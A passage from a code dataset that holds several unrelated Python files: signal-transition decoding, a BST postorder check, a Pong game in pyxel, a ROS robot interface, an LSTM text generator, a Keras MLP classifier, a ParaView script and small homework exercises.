str(len(signal)))\n\tprint(\"samples_per_symbol:\t\t\" + str(samples_per_symbol))\n\tprint(\"samples_between_packets:\t\" + str(samples_between_packets))\n\n\tdiff_signal = np.gradient(signal)\n\tdiff_signal1 = [x * 10 for x in diff_signal]\n\n\tsignal_ceil = max(signal)\n\tsignal_floor = min(signal)\n\t#print(\"\\n\\namplitude\" + str(signal_ceil - signal_floor) + \"\\n\\n\")\n\n\tratio = 0.27\n\n\tthreshold = ((signal_ceil - signal_floor)*ratio) + signal_floor\n\n\t#pylab.plot(signal)\n\n\tsignal_zero_centered = [(x - threshold) for x in signal]\n\n\n\t#determine the PBZ points\n\tzero_crossings = np.where(np.diff(np.signbit(signal_zero_centered)))[0]\n\tzero_crossings = zero_crossings.tolist()\n\t#zero_crossings.append(len(signal_zero_centered))\n\n\t#determine the diff PBZ points\n\n\tzero_crossings_diff = np.where(np.diff(np.signbit(diff_signal)))[0]\n\tzero_crossings_diff = zero_crossings_diff.tolist()\n\t#zero_crossings_diff.append(len(diff_signal))\n\n\tzcc = []\n\tfor x in zero_crossings:\n\t\tif signal_zero_centered[x+1] > 0:\n\t\t\tpassed = (y for y in zero_crossings_diff if y < x)\n\t\t\tzcc.append(int(max(passed)))\n\t\t\t#zcc.append(int((max(passed)+x)/2))\n\t\tif signal_zero_centered[x+1] < 0:\n\t\t\tpassed = (y for y in zero_crossings_diff if y > x)\n\t\t\tzcc.append(int(min(passed)))\n\t\t\t#zcc.append(int((min(passed)+x)/2))\n\n\t#zcc = zero_crossings\n\tprint(\"zero_crossings:\t\t\t\" + str(len(zcc)))\n\n\n\n\tif debug0 == True:\n\t\tplt.plot(signal)\n\t\tplt.axhline(y=threshold, color='k', linestyle='-')\n\t\tthreshold_scatter = [threshold] * len(zcc)\n\t\tplt.scatter(zcc, threshold_scatter, color= 'red')\n\t\tplt.title('Raw Signal')\n\t\tplt.ylabel('Quantization')\n\t\tplt.xlabel('Sample Index')\n\t\tplt.show()\n\n\t##################\t##################\t##################\t##################\t##################\t##################\n\t##Ensinar a distinção aqui STEP 1 BEGINS\n\t##################\t##################\t##################\t##################\t##################\t##################\n\n\n\tcorrect_point = input(\"Correct Transition:\")\t\t\t#HALF TRANSITION\n\twrong_point = input(\"Wrong Transition:\")\n\n\t#correct_point = 99492\t\t\t#HALF TRANSITION\n\t#wrong_point = 67004\n\n\t#correct_point = 133584\t\t\t#HALF TRANSITION\n\t#wrong_point = 66930\n\n\tcorrect_index = zcc.index(correct_point)\n\twrong_index = zcc.index(wrong_point)\n\n\n\tif(step1 == True or step2 == True):\n\n\t\tpacket_fade = 0\n\n\t\tA = samples_per_symbol\t\t\t\t\t\t\t\t\t\t\t\t\t#number of samples expected in a symbol\n\t\tB = samples_per_symbol * packet_size + samples_between_packets\t \t#number of samples expected between equivalent points in consecutive packets\n\n\t\tmh = range((packet_size-1)*2+1)\n\t\tmatrix_height = [x-packet_size+1 for x in mh]\n\n\t\tml = range(packet_fade*2+1)\n\t\tmatrix_length = [x-packet_fade for x in ml]\n\n\n\t\t#criar a matriz de diferenças\n\n\t\t# The x travels in bit distance, the y travels in packet distance\n\t\tkey = [[ int((x*B) + (y*A)) for y in matrix_height] for x in matrix_length]\n\n\t\theatmap = [[[ 0 for y in mh] for x in ml] for z in range(len(zcc))]\n\t\theatmap_total = [[ 0 for y in mh] for x in ml]\n\t\tdata = ascii.write(key, format = 'fixed_width_no_header', delimiter = '||')\n\n\t##################\t##################\t##################\t##################\t##################\t##################\n\t# STEP 1 BEGINS\n\t##################\t##################\t##################\t##################\t##################\t##################\n\n\n\tif step1 == True:\n\n\t\tsurveil_range= 5\n\t\tcutoff = surveil_range * B + (A*packet_size)\n\t\tresolution = 128\n\t\tmargin = int(cutoff/(resolution*2)*4)\n\t\tprint('margin = ' + str(margin))\n\t\tnumber_of_bins = surveil_range * resolution\n\t\tall_bins = np.linspace(-cutoff, cutoff, number_of_bins)\n\n\t\tall_differences = []\n\t\tcorrect_point_differences = []\n\t\twrong_point_differences = []\n\t\tfor x in zcc:\n\t\t\tfor y in zcc:\n\t\t\t\tif abs(x-y) < cutoff:\n\t\t\t\t\tall_differences.append(y-x)\n\t\t\tdelta_correct = abs(zcc[correct_index]-x)\n\t\t\tdelta_wrong = abs(zcc[wrong_index]-x)\n\t\t\tif delta_correct < cutoff:\n\t\t\t\tcorrect_point_differences.append(zcc[correct_index]-x)\n\t\t\tif delta_wrong < cutoff:\n\t\t\t\twrong_point_differences.append(zcc[wrong_index]-x)\n\n\n\n\t\tp = np.digitize(all_differences, all_bins)\n\t\tall_binned = [0 for x in range(number_of_bins)]\n\t\tfor w in range(len(p)):\n\t\t\tall_binned[p[w]] +=1\n\n\n\t\tcount = 0\n\t\tv_lines = []\n\n\t\tlocal_maxima_index = (np.diff(np.sign(np.diff(all_binned))) < 0).nonzero()[0] + 1 # local max\n\n\t\ttopN = [all_binned[w] for w in local_maxima_index] \t#\t[VALUE OF LOCAL MAX, INDEX OF LOCAL MAX]\n\t\ttopN_index = [w for w in local_maxima_index]\t\t# has to be done this way to convert nparray to list\n\n\t\t#print(topN)\n\n\t\twhile len(topN)>surveil_range*2+1:\n\t\t\tminimum = topN.index((min(topN)))\n\t\t\ttopN.pop(minimum)\n\t\t\ttopN_index.pop(minimum)\n\n\n\t\tpeaks = [all_bins[w] for w in topN_index]\n\t\tpeaks_nz = peaks\n\t\tpeaks_nz.pop(int(len(peaks_nz)/2)) # same as peaks but without the indice that corresponds to the zero\n\n\t\ttrust = [0 for x in zcc]\n\t\tfor x in range(len(zcc)):\n\t\t\tfor y in peaks_nz:\n\t\t\t\ttemp = zcc[x] + y\n\t\t\t\tfor z in zcc:\n\t\t\t\t\tif abs(z-temp) < margin:\n\t\t\t\t\t\ttrust[x] += 1\n\n\t\tcompensation_range = packet_size*surveil_range\n\t\tfor x in range(len(trust[0:packet_size*surveil_range])):\n\t\t\ttrust[x] = int( trust[x] / min(1, ((compensation_range+x)/(compensation_range))))\n\n\n\t\tzcc2 = [x for x in zcc]\n\t\ttrust2 = [x for x in trust]\n\t\ttrust3 = [n/max(trust)*max(signal) for n in trust]\n\t\tcount = len(trust2) -1\n\t\tmaximum = max(trust2)\n\t\tcutoff_ratio = 0.25\n\t\tcutoff_line = maximum * cutoff_ratio\n\t\twhile count > 0:\n\t\t\tif trust2[count] < cutoff_line:\n\t\t\t\ttrust2.pop(count)\n\t\t\t\tzcc2.pop(count)\n\t\t\tcount -= 1\n\n\n\n\t\tif debug3 == True:\n\n\n\t\t\tall_differences= [i for i in all_differences if i != 0]\n\t\t\tz_all_differences = np.hstack(all_differences).tolist()\n\t\t\tz_correct_point_differences = np.hstack(correct_point_differences).tolist()\n\t\t\tz_wrong_point_differences = np.hstack(wrong_point_differences).tolist()\n\n\n\t\t\tplt.subplot(311)\n\t\t\tplt.hist(z_all_differences, bins=all_bins) \t\t\t\t \t# arguments are passed to np.histogram\n\t\t\tfor w in peaks:\n\t\t\t\tcenter = (w - int(cutoff/number_of_bins))\n\t\t\t\tplt.axvline(x=center, color='k', linestyle='-')\n\t\t\tplt.title('Histogram of all deltas of all points')\n\t\t\tplt.subplot(312)\n\t\t\tplt.title('All deltas of a correct transition')\n\t\t\tplt.ylim([0, 1])\n\t\t\tplt.hist(z_correct_point_differences, bins=all_bins) \t \t# arguments are passed to np.histogram\n\t\t\tfor w in peaks:\n\t\t\t\tcenter = (w - int(cutoff/number_of_bins))\n\t\t\t\tplt.axvspan(center-margin, center+margin, color='red', alpha=0.5)\n\t\t\tplt.subplot(313)\n\t\t\tplt.title('All deltas of a wrong transition')\n\t\t\tplt.ylim([0, 1])\n\t\t\tplt.hist(z_wrong_point_differences, bins=all_bins)\t\t \t# arguments are passed to np.histogram\n\t\t\tfor w in peaks:\n\t\t\t\tcenter = (w - int(cutoff/number_of_bins))\n\t\t\t\tplt.axvspan(center-margin, center+margin, color='red', alpha=0.5)\n\n\t\t\tplt.show()\n\n\tprint('\\n\\n\\n\\n\\n')\n\n\n\t##################\t##################\t##################\t##################\t##################\t##################\n\t# STEP 1 ENDS\n\t# STEP 2 BEGINS\n\t##################\t##################\t##################\t##################\t##################\t##################\n\n\tif step2 == True:\n\n\t\tallmargins = []\n\t\terror_margin = 5\n\t\taux = range(error_margin*2+1)\n\t\tpossible_errors = [x-error_margin for x in aux]\n\t\t#print(possible_errors)\n\n\t\tfor x in range(len(zcc2)):\n\t\t\t#print(x)\n\t\t\tc1 = 0\n\t\t\tc2 = len(zcc2)-1\n\t\t\twhile (zcc2[c1] < zcc2[x] + key[0][0]):\n\t\t\t\tc1 += 1\n\t\t\twhile (zcc2[c2] > zcc2[x] + key[-1][-1]):\n\t\t\t\tc2 -= 1\n\n\t\t\tpassed = zcc2[c1:c2]\n\t\t\t#passed = (y for y in zcc if (abs(y - zcc[x] < key[-1][-1]+error_margin)))\n\t\t\t#print(passed)\n\t\t\tfor a in ml:\n\t\t\t\tfor b in mh:\n\t\t\t\t\t#print(delta)\n\t\t\t\t\tsum = zcc2[x] + key[a][b]\n\t\t\t\t\tfor h in possible_errors:\n\t\t\t\t\t\tif sum+h in passed:\n\t\t\t\t\t\t\theatmap[x][a][b] = 1\n\n\t\t\theatmap[x][packet_fade][(packet_size-1)] = 'X'\n\n\t\t\thitsum2 = [0 for x in range(len(zcc2))]\n\t\t\tfor z in range(len(zcc2)):\n\t\t\t\theatmap_buffer = [[ heatmap[z][x][y] for y in mh] for x in ml]\n\t\t\t\tfor a in ml:\n\t\t\t\t\tfor b in mh:\n\t\t\t\t\t\tif type(heatmap_buffer[a][b]) == int :\n\t\t\t\t\t\t\theatmap_total[a][b] += heatmap_buffer[a][b]\n\t\t\t\t\t\t\thitsum2[z] += heatmap_buffer[a][b]\n\n\t\thitsum = [(u/max(hitsum2))*max(signal) for u in hitsum2]\n\n\t##################\t##################\t##################\t##################\t##################\t##################\n\n\tallindexes = []\n\tchosen_samples = []\n\tfor a in range(len(zcc2)-1):\n\t\tindex = int(zcc2[a] + round(samples_per_symbol*0.45))\n\t\twhile(index < (zcc2[a+1] - (samples_per_symbol*0.1))):\n\t\t\tallindexes.append(index)\n\t\t\tchosen_samples.append(signal_zero_centered[index])\n\t\t\tindex += round(samples_per_symbol)\n\n\t##################\t##################\t##################\t##################\t##################\t##################\n\n\n\tif debug1 == True:\n\t\tsignal_samples = []\n\t\tfor x in range(len(allindexes)):\n\t\t\tsignal_samples.append(signal[allindexes[x]])\n\t\t#pylab.subplot(211)\n\n\t\t#plt.scatter(zcc2, hitsum , color='red')\n\t\t#plt.scatter(zcc, trust3 , color='red')\n\t\t#plt.plot(signal)\n\t\t#plt.title('Trust levels of transitions')\n\n\t\t#for x in range(len(zcc)):\n\t\t\t#line = zcc[x] + 7790\n\t\t#plt.axvline(x=105797, color='red', linestyle='-')\n\n\n\t\t#pylab.plot(diff_signal1)\t\t\t\t\t\t\t\t\t\t\t# signal'\n\n\t\t#plt.axhline(y=threshold, color='k', linestyle='-')\n\t\t#plt.axhline(y=0, color='k', linestyle='-')\n\t\t#plt.scatter(allindexes, signal_samples, color='orange')\t\t\t# AMOSTRAS COLHIDAS\n\t\t#threshold_scatter = [threshold] * len(zcc2)\n\t\t#threshold_scatter_diff = [threshold] * len(zero_crossings_diff)\n\t\t#plt.scatter(zero_crossings_diff, threshold_scatter_diff , color='black')\n\n\n\t\t#plt.subplot(212)\n\t\tthreshold_scatter = [threshold] * len(zcc2)\n\t\tplt.scatter(zcc2, hitsum, color='red')\n\t\tplt.plot(signal)\n\t\tplt.title('Transition pattern search')\n\t\tfor y in matrix_height:\n\t\t\tfor x in matrix_length:\n\t\t\t\tplt.axvline(x=correct_point, color='red', linestyle='-')\n\t\t\t\tplt.axvline(x=key[x][y]+correct_point+error_margin, color='green', linestyle='--')\n\t\t\t\tplt.axvline(x=key[x][y]+correct_point-error_margin, color='green', linestyle='--')\n\t\t#plt.ylim([0, 100])\n\n\t\t#ax = plt.gca()\n\t\t#ax.yaxis.grid(True)\n\t\t#fft_signal = np.fft(signal)\n\t\t#pylab.plot(fft_signal)\n\n\t\t#plt.subplot(313)\n\t\t#plt.scatter(zcc2, hitsum)\n\t\t#ax = plt.gca()\n\t\t#ax.yaxis.grid(True)\n\n\t\tpylab.show()\n\n\n\tresult = np.where(np.asarray(chosen_samples) > 0, 1, 0)\n\n\treturn result\n","sub_path":"PBZS_comparator.py","file_name":"PBZS_comparator.py","file_ext":"py","file_size_in_byte":10671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"607083687","text":"# 题目:输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。\n# 如果是则输出Yes,否则输出No。假设输入的数组的任意两个数字都互不相同。\n# 思路:根据后序遍历,尾元素一定是根节点\n# 再根据二叉搜索树的性质:左子节点的元素一定小于根节点,右子节点的元素一定大于根节点\n# 递归比较左右子树书否符合此特性\n\n\nclass TreeNode(object):\n def __init__(self, data):\n self.val = data\n self.left = None\n self.right = None\n\n\nclass Solution(object):\n def VerifySquenceOfBST(self, sequence):\n if not sequence:\n return False\n\n root = sequence[-1]\n\n if min(sequence) > root or max(sequence) < root:\n return False\n\n index = 0\n\n for i in range(len(sequence) - 1):\n index = i\n if sequence[i] > root:\n break\n\n for j in range(index + 1, len(sequence) - 1):\n if sequence[j] < root:\n return False\n\n # 递归检查左子树是否是二叉搜索树\n left = True\n if index > 0:\n left = self.VerifySquenceOfBST(sequence[:index])\n\n # 递归检查右子树是否是二叉搜索树\n right = True\n if index < len(sequence) - 1:\n right = self.VerifySquenceOfBST(sequence[index: len(sequence) - 1])\n return left and right\n\n\narray = [5, 7, 6, 9, 11, 10, 8]\narray2 = [4, 6, 7, 5]\narray3 = [1, 2, 3, 4, 5]\nS = Solution()\nprint(S.VerifySquenceOfBST(array))\nprint(S.VerifySquenceOfBST(array2))\nprint(S.VerifySquenceOfBST(array3))\n","sub_path":"33_01二叉搜索树的后序遍历序列.py","file_name":"33_01二叉搜索树的后序遍历序列.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"27243988","text":"# S = 1/1 + 3/2 + 5/4 ... 99/50\npar = 1\nimpar = 0\nfor c in range(1, 100):\n if c % 2 == 0:\n par += c\n else:\n impar += c\ntotal = impar / par\nprint(f'A valor de S é igual a {total}')","sub_path":"Aula 6/31 calcular o valor de s.py","file_name":"31 calcular o valor de s.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"164097032","text":"from paraview.simple import *\nparaview.simple._DisableFirstRenderCameraReset()\n\nAges003_vtk = LegacyVTKReader( FileNames=['/home/imalkov/DropboxUni2015/M.s/Research/DATA/SESSION_TREE/NODE02/Session1B/VTK/Ages003.vtk'] )\n\nRenderView1 = GetRenderView()\na1_ExhumationRate_PVLookupTable = GetLookupTableForArray( \"ExhumationRate\", 1 )\n\nDataRepresentation2 = Show()\nDataRepresentation2.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation2.SelectionPointFieldDataArrayName = 'ExhumationRate'\nDataRepresentation2.ScalarOpacityFunction = []\nDataRepresentation2.ColorArrayName = ('POINT_DATA', 'ExhumationRate')\nDataRepresentation2.ScalarOpacityUnitDistance = 1.495838960900772\nDataRepresentation2.LookupTable = a1_ExhumationRate_PVLookupTable\nDataRepresentation2.ScaleFactor = 6.000162124633789\n\nPlotOnIntersectionCurves1 = PlotOnIntersectionCurves( SliceType=\"Plane\" )\n\nRenderView1.CameraClippingRange = [123.5457148353541, 138.47412023773984]\n\nPlotOnIntersectionCurves1.SliceType.Origin = [15.01878547668457, 30.000810623168945, 32.597999572753906]\n\nactive_objects.source.SMProxy.InvokeEvent('UserEvent', 'ShowWidget')\n\n\nXYChartView1 = CreateXYPlotView()\n\nactive_objects.source.SMProxy.InvokeEvent('UserEvent', 'HideWidget')\n\n\nAnimationScene1 = GetAnimationScene()\nDataRepresentation3 = Show()\nDataRepresentation3.XArrayName = 'arc_length'\nDataRepresentation3.SeriesVisibility = ['Points (0)', '0', 'Points (1)', '0', 'Points (2)', '0', 'Points (Magnitude)', '0', 'arc_length', '0', 'vtkOriginalIndices', '0']\nDataRepresentation3.UseIndexForXAxis = 0\n\nXYChartView1.BottomAxisRange = [0.0, 80.0]\nXYChartView1.TopAxisRange = [0.0, 6.66]\nXYChartView1.ViewTime = 0.0\nXYChartView1.LeftAxisRange = [-5.0, 65.0]\nXYChartView1.RightAxisRange = [0.0, 6.66]\n\nAnimationScene1.ViewModules = [ RenderView1, XYChartView1 ]\n\nDelete(XYChartView1)\nDelete(DataRepresentation3)\nAnimationScene1.ViewModules = RenderView1\n\nactive_objects.source.SMProxy.InvokeEvent('UserEvent', 'ShowWidget')\n\n\nSetActiveView(RenderView1)\nDataRepresentation4 = Show()\nDataRepresentation4.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation4.SelectionPointFieldDataArrayName = 'ApatiteFTAge'\nDataRepresentation4.ColorArrayName = ('POINT_DATA', 'ExhumationRate')\nDataRepresentation4.LookupTable = a1_ExhumationRate_PVLookupTable\nDataRepresentation4.ScaleFactor = 6.000162124633789\n\nRenderView1.CameraClippingRange = [122.17747501296641, 140.19645443192317]\n\nRender()\n","sub_path":"examples/paraviewexamples/example02.py","file_name":"example02.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"101407639","text":"# encoding: utf-8\nimport pyxel\npyxel.init(160, 120, caption=\"Pong\")\n\n\n# ---- labda -----\n\nlabdax = 30\nlabday = 40\n# sebessége\nsebx = 1\nseby = 1\n\ndef labda_update():\n global labdax, labday, sebx, seby\n # ütközés\n if labdax > 160 - 6: sebx = -sebx\n if labday > 120 - 6: seby = -seby\n if labdax < 6:\n # ***** itt hívjuk meg a függvényt *****\n if uton_van(labday):\n sebx = -sebx\n if labday < 6: seby = -seby\n\n # labda mozgatása\n labdax = labdax + sebx\n labday = labday + seby\n\ndef labda_draw():\n pyxel.circ(labdax, labday, 4, 8)\n\n\n# ----- ütő -----\nutoy = 60\ndef uto_update():\n global utoy\n if pyxel.btn(pyxel.KEY_W):\n utoy = utoy - 1\n if pyxel.btn(pyxel.KEY_S):\n utoy = utoy + 1\ndef uto_draw():\n pyxel.rect(0, utoy - 20/2, 3, 20, 9)\n\n# ***** itt van az új függvényünk *****\ndef uton_van(y):\n return utoy-20/2 < y < utoy+20/2\n\n\n\ndef update():\n labda_update()\n uto_update()\n\ndef draw():\n pyxel.cls(0)\n labda_draw()\n uto_draw()\n\n\npyxel.run(update, draw)\n","sub_path":"22_utkozes_megoldas.py","file_name":"22_utkozes_megoldas.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"83382097","text":"#!/usr/bin/env python \nimport rospy\n\n#from client.srv import motorCommand\n#from client.msg import sensorValue\nfrom hci.msg import sensorValue\nfrom hci.srv import motorCommand\n\n\nnode_name = 'robotInterface'\nmotorCommandTopic = 'motorCommand'\nsensorValueTopic = 'sensorValue'\n\nmotorCommandPub = None\n\nsensorValueMap = {\n\t(0,0),\n\t(1,0),\n\t(2,0),\n\t(3,0),\n\t(4,0),\n\t(5,0),\n\t(6,0),\n\t(7,0),\n\t(8,0),\n\t(9,0),\n\t(10,0),\n\t(11,0),\n\t(12,0),\n\t(13,0),\n\t(14,0),\n\t(15,0),\n\t(16,0),\n\t(17,0),\n\t(18,0),\n\t(19,0),\n\t(20,0),\n\t(21,0),\n\t(22,0),\n\t(23,0),\n\t(24,0),\n\t(25,0),\n\t(26,0),\n\t(27,0),\n\t(28,0),\n\t(29,0),\n\t(30,0),\n\t(31,0),\n\t(32,0)\n}\n\n\ndef sendMotorCommand(motorID, value):\n\ttry:\n\t\tresp = motorCommandPub(motorID,value)\n\texcept rospy.ServiceException as exc:\n\t\tprint(\"motor command service didn't process request: \" + str(exc))\n\treturn resp.success\n\ndef sensorValueCallback(data):\n\trospy.loginfo(\"Sensor %u has value %f\", data.sensorID, data.value)\n\tsensorValueMap[data.sensorID] = data.value;\n\ndef getSensorValue(sensorID):\n\treturn sensorValueMap(sensorID);\n\ndef initializeRobotInterface():\n\trospy.init_node(node_name,disable_signals=True)\n\n\trospy.wait_for_service(motorCommandTopic)\n\tmotorCommandPub = rospy.ServiceProxy(motorCommandTopic, motorCommand, persistent=True)\n\n\trospy.Subscriber(sensorValueTopic,sensorValue,sensorValueCallback)\n\trospy.spin()\n","sub_path":"client/scripts/robotInterface.py","file_name":"robotInterface.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"638540497","text":"# MIT License\n#\n# Copyright (c) 2017 Tom Runia\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to conditions.\n#\n# Author: Deep Learning Course | Fall 2018\n# Date Created: 2018-09-04\n################################################################################\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.distributions as dist\n\n\nclass TextGenerationModel(nn.Module):\n\n def __init__(self, batch_size, seq_length, vocabulary_size,\n lstm_num_hidden=256, lstm_num_layers=2, device='cuda:0',\n dropout_keep_prob=1):\n super(TextGenerationModel, self).__init__()\n # Initialization here...\n self.device = device\n self.vocabulary_size = vocabulary_size\n self.batch_size = batch_size\n self.seq_length = seq_length\n\n self.lstm = nn.LSTM(vocabulary_size, lstm_num_hidden, lstm_num_layers,\n dropout=dropout_keep_prob)\n\n self.linear = nn.Linear(lstm_num_hidden, vocabulary_size)\n\n def forward(self, x):\n # Implementation here...\n out, _ = self.lstm(x)\n\n out = self.linear(out)\n\n return out\n\n def sample(self, random=False, temperature=0.5):\n \"\"\"\n Generate a sample.\n \"\"\"\n self.eval()\n\n indices = torch.LongTensor(self.batch_size,1).random_(\n 0, self.vocabulary_size).to(self.device)\n\n x = torch.zeros(self.batch_size, self.vocabulary_size).to(self.device)\n x.scatter_(1, indices, 1)\n x = x.unsqueeze(0)\n\n output = [x]\n\n x, (h, c) = self.lstm(x)\n x = self.linear(x)\n\n output.append(x)\n\n for i in range(self.seq_length - 2):\n x, (h, c) = self.lstm(x, (h, c))\n x = self.linear(x)\n\n if random:\n # Apply temperature.\n x = x / temperature\n\n x = F.softmax(x, -1) \n\n distribution = dist.Categorical(x)\n indices = distribution.sample().t()\n else:\n indices = x.argmax(-1).t()\n\n # Reshape into one-hot vectors.\n x.zero_().squeeze_()\n x.scatter_(1, indices, 1).unsqueeze_(0)\n output.append(x)\n\n out = torch.stack(output).squeeze()\n\n self.train()\n\n return out\n","sub_path":"assignment_2/part2/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"64010920","text":"from experiments import utils\nfrom keras.layers import Conv1D, MaxPool1D, Dense, Flatten, Activation, Dropout, BatchNormalization, Lambda, AveragePooling1D, UpSampling1D\nimport numpy as np\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom keras.models import Sequential, Model\nfrom keras.optimizers import sgd, nadam, adam, rmsprop, adadelta, adagrad\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nfrom preprocessing import processing_util as util\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nfrom keras.utils.vis_utils import plot_model\nimport os\nos.environ[\"PATH\"] += os.pathsep + 'C:/Program Files (x86)/Graphviz2.38/bin'\n\n\ndef mlp(x_train, y_train):\n y_train = utils.to_categorical(y_train)\n nb_features = x_train.shape[1]\n nb_classes = y_train.shape[1]\n para = {\n 'model_name': 'mlp_basic_',\n 'size_of_batch': 1000,\n 'nb_epoch': 1000,\n 'drop_rate': 0.\n }\n # model\n early_stop = EarlyStopping(monitor='val_loss', min_delta=0, patience=100, verbose=1, mode='auto')\n callbacks_list = [early_stop]\n\n model = Sequential(name=para['model_name'])\n model.add(Dense(50, input_dim=nb_features, activation='relu'))\n model.add(Dense(25, activation='relu'))\n # model.add(Dropout(para['drop_rate']))\n model.add(Dense(units=nb_classes))\n model.add(Activation('softmax'))\n # print(model.summary())\n\n model.compile(loss='categorical_crossentropy',\n optimizer=sgd(),\n metrics=['categorical_accuracy'])\n\n history = model.fit(x_train, y_train,\n batch_size=para['size_of_batch'],\n epochs=para['nb_epoch'],\n shuffle=True,\n validation_split=0.33,\n callbacks=callbacks_list)\n\n return history, model\n\n\nif __name__ == '__main__':\n seed = 8\n np.random.seed(seed)\n # load data\n fn = 'wholeset_Jim_nomissing_withIDs.csv'\n read_file_path = util.get_file_path(fn)\n df = pd.read_csv(read_file_path, encoding='utf8')\n # make y data\n y_data = df['MRS_3']\n # make x data\n df = df.drop(['MRS_3'], axis=1)\n x_data = df\n # make train and test\n x_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=0.3, shuffle=True)\n train_IDs = x_train[['ICASE_ID', 'IDCASE_ID']]\n x_train = x_train.drop(['ICASE_ID', 'IDCASE_ID'], axis=1)\n test_IDs = x_test[['ICASE_ID', 'IDCASE_ID']]\n x_test = x_test.drop(['ICASE_ID', 'IDCASE_ID'], axis=1)\n # model\n history, model = mlp(utils.scale(x_train), y_train)\n # plot_model(model, to_file='mlp.png', show_shapes=True, show_layer_names=True)\n\n utils.plot_acc_loss_for_multi(history)\n # Testing\n test_IDs['label'] = y_test\n y_test = utils.to_categorical(y_test)\n loss, acc = model.evaluate(utils.scale(x_test), y_test, verbose=0)\n y_predict = model.predict(utils.scale(x_test))\n y_pred = np.argmax(y_predict, axis=1).astype('str')\n test_IDs['predict'] = y_pred\n print('Test loss:', loss)\n print('Test accuracy:', acc)\n np.savetxt('mlp_predic.csv', test_IDs, delimiter=',', fmt='%s')\n\n\n\n # for inx, val in y_test.iteritems():\n # print(inx)\n # print(val)\n aa = str(y_test)\n bb = str(y_pred)\n C = confusion_matrix(np.argmax(y_test, axis=1).astype('str'),\n np.argmax(y_predict, axis=1).astype('str')\n )\n print(C)\n plt.figure()\n utils.plot_confusion_matrix(C, classes=['0', '1', '2', '3', '4', '5', '6'])\n utils.performance_cal(C)","sub_path":"three_month/preprocessing/mlp_kara.py","file_name":"mlp_kara.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"567858176","text":"''' File: hw3_part3.py \n Author: Skye Ortiz \n Date: 09/27/2016 \n Section: 26 \n E-mail: sortiz1@umbc.edu \n Description: This program tells the user what the state of\n water is at a certain temperature on the temperature scale.\n Collaboration: I did not collaborate with anyone on this assignment.\n'''\ndef main():\n temperature = float(input(\"Please enter the temperature\"))\n degrees = input(\"Please enter \\\"C\\\" for Celcius or \\\"K\\\" for Kelvin.\")\n\n if degrees == \"C\":\n if temperature <= 0:\n print(\"Water is a solid at that temperature.\")\n elif temperature >= 100:\n print(\"Water is a gas at that temperature.\")\n else:\n print(\"Water is liquid at that temperature.\")\n else:\n if temperature <= 273.2:\n print(\"Water is a solid at that temperature.\")\n elif temperature >= 373.2:\n print(\"Water is a gas at that temperature.\")\n else:\n print(\"Water is liquid at that temperature.\")\n\nmain() \n","sub_path":"data/HW3/hw3_431.py","file_name":"hw3_431.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"216875894","text":"#coding: utf8\nimport numpy as np\nimport math\nclass Axe: # un axe avec des ticks et des valeurs définies en ces ticks\n def __init__(self,nom,unit,mini,maxi,nb,valeurs):\n self.nom=nom # nom de l'axe\n self.unit=unit # unité\n self.mini=mini # tick gauche de l'axe (valtick[0])\n self.maxi=maxi # tick droite de l'axe (vlatick[nb-1]\n self.nb=nb # nombre de ticks sur l'axe\n if self.nb<2:\n raise Exception(\"Axe: le nombre de ticks de l'axe %s doit être supérieur ou égal à 2\" % self.nb)\n self.valtick=np.linspace(mini,maxi,nb, float) # liste des nb ticks de l'axe numérotés de 0 à nb-1\n self.valeurs=valeurs # liste des nb valeurs attachées à chaque ticks de l'axe\n if (len(self.valeurs)!=nb):\n raise Exception (\"Axe: le nombre de valeurs attachées à l'axe : %s est déférent du nombre de ticks de l' axe : %s\" %(len(self.valeurs),self.nb))\n def isInside (self,x): # test si \"x\" est dans les limites de l'axe\n return ((self.mini<=x<=self.maxi) or (-self.mini<=-x<=-self.maxi))\n def interval(self,x): # retourne le premier ticks de l'axes inférieur à la valeur \"x\"\n if self.isInside(x):\n if x==self.maxi:\n n=self.nb-2\n else:\n n=int((x-self.mini)/(self.maxi-self.mini)*(self.nb-1))\n return (n,(x-self.valtick[n])/(self.valtick[n+1]-self.valtick[n]))\n else:\n raise Exception(\"Axe.interval(x) : La valeur x=%s n'est pas dans les limites de l'axe qui sont : [ %s , %s ]\" %(x, self.mini, self.maxi))\n def val (self,x): # renvoie la valeur attachée à la position \"x\" sur l'axe, par interpollation linéaire des valeurs des deux ticks encadrant x\n (ninf,prop)=self.interval(x)\n return (self.valeurs[ninf]+(prop*(self.valeurs[ninf+1]-self.valeurs[ninf])))\n\"\"\" 